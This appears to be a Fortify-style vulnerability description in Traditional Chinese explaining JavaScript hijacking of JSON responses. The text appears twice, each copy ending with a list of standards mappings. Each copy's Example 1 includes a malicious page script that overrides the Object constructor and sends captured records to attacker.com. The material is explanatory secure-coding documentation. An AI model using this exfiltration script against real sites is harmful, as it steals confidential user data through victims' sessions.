在下列情況下,應用程式可能很容易受到 JavaScript 劫持的攻擊:1) 使用 JavaScript 物件做為資料傳輸格式,2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現,因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼,喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源策略 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求,若要使用 JavaScript 存取網頁的內容,則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy),惡意網站可使用用戶端的憑證執行從其他網站載入敏感資訊的 JavaScript,從中挑選資訊,並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy),在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料,但是它仍然可以設定環境來利用此弱點,此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用,與傳統的 Web 應用程式不同,它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構:陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式,都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易,因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式,當應用程式需要傳輸多個值時一般會使用該形式。換句話說,JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊,這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1:以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動,此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意,本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時,若沒有使用新的運算子,其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料,並使用以下的程式碼來評估 JSON 結果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


當此程式碼執行時,將產生如下的 HTTP 要求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在此 HTTP 回應和之後的內容,我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


在此案例中,JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼,是無法存取這些資訊的。(在大部份的現代 Web 應用程式中,階段作業識別碼儲存在 cookie 中。)不過,如果一位受害者造訪了惡意的網站,此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁,則將會把受害者的重要資訊傳送到攻擊者的網站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之,系統將會處理此要求,就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時,將在惡意頁面的環境內接受評估。為了監視 JSON 的評估,惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式,惡意程式碼已插入陷阱,藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事,所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便,也可以保持安全,但兩者不可兼得。若使用者未登入易受攻擊的網站,攻擊者可能請求使用者登入,然後顯示應用程式的合法登入頁面,藉此進行彌補。

這並非網路釣魚攻擊,因為攻擊者並未取得使用者憑證的存取權,因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤,從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於,在此 mashup 情況中,涉及的其中一個應用程式是惡意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.java.javascript_hijacking_vulnerable_framework
Abstract
使用 JavaScript 符號來傳送敏感資料的應用程式可能對 JavaScript 劫持的弱點,這允許未經授權的攻擊者從一個易受攻擊的應用程式中讀取機密資料。
Explanation
在下列情況下,應用程式可能很容易受到 JavaScript 劫持的攻擊:1) 使用 JavaScript 物件做為資料傳輸格式,2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現,因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼,喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源原則 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求,若要使用 JavaScript 存取網頁的內容,則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy),惡意的網站可使用用戶端的憑證來執行 JavaScript,從其他網站載入敏感的資訊,從中挑選出資訊並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy),在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料,但是它仍然可以設定環境來利用此弱點,此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用,與傳統的 Web 應用程式不同,它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構:陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式,都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易,因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式,當應用程式需要傳輸多個值時一般會使用該形式。換句話說,JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊,這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1:以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動,此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意,本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時,若沒有使用新的運算子,其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料,並使用以下的程式碼來評估 JSON 結果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


當此程式碼執行時,將產生如下的 HTTP 要求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在此 HTTP 回應和之後的內容,我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


在此案例中,JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼,是無法存取這些資訊的。(在大部份的現代 Web 應用程式中,階段作業識別碼儲存在 cookie 中。)不過,如果一位受害者造訪了惡意的網站,此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁,則將會把受害者的重要資訊傳送到攻擊者的網站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之,系統將會處理此要求,就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時,將在惡意頁面的環境內接受評估。為了監視 JSON 的評估,惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式,惡意程式碼已插入陷阱,藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事,所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便,也可以保持安全,但兩者不可兼得。若使用者未登入易受攻擊的網站,攻擊者可能請求使用者登入,然後顯示應用程式的合法登入頁面,藉此進行彌補。

這並非網路釣魚攻擊,因為攻擊者並未取得使用者憑證的存取權,因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤,從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於,在此 mashup 情況中,涉及的其中一個應用程式是惡意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework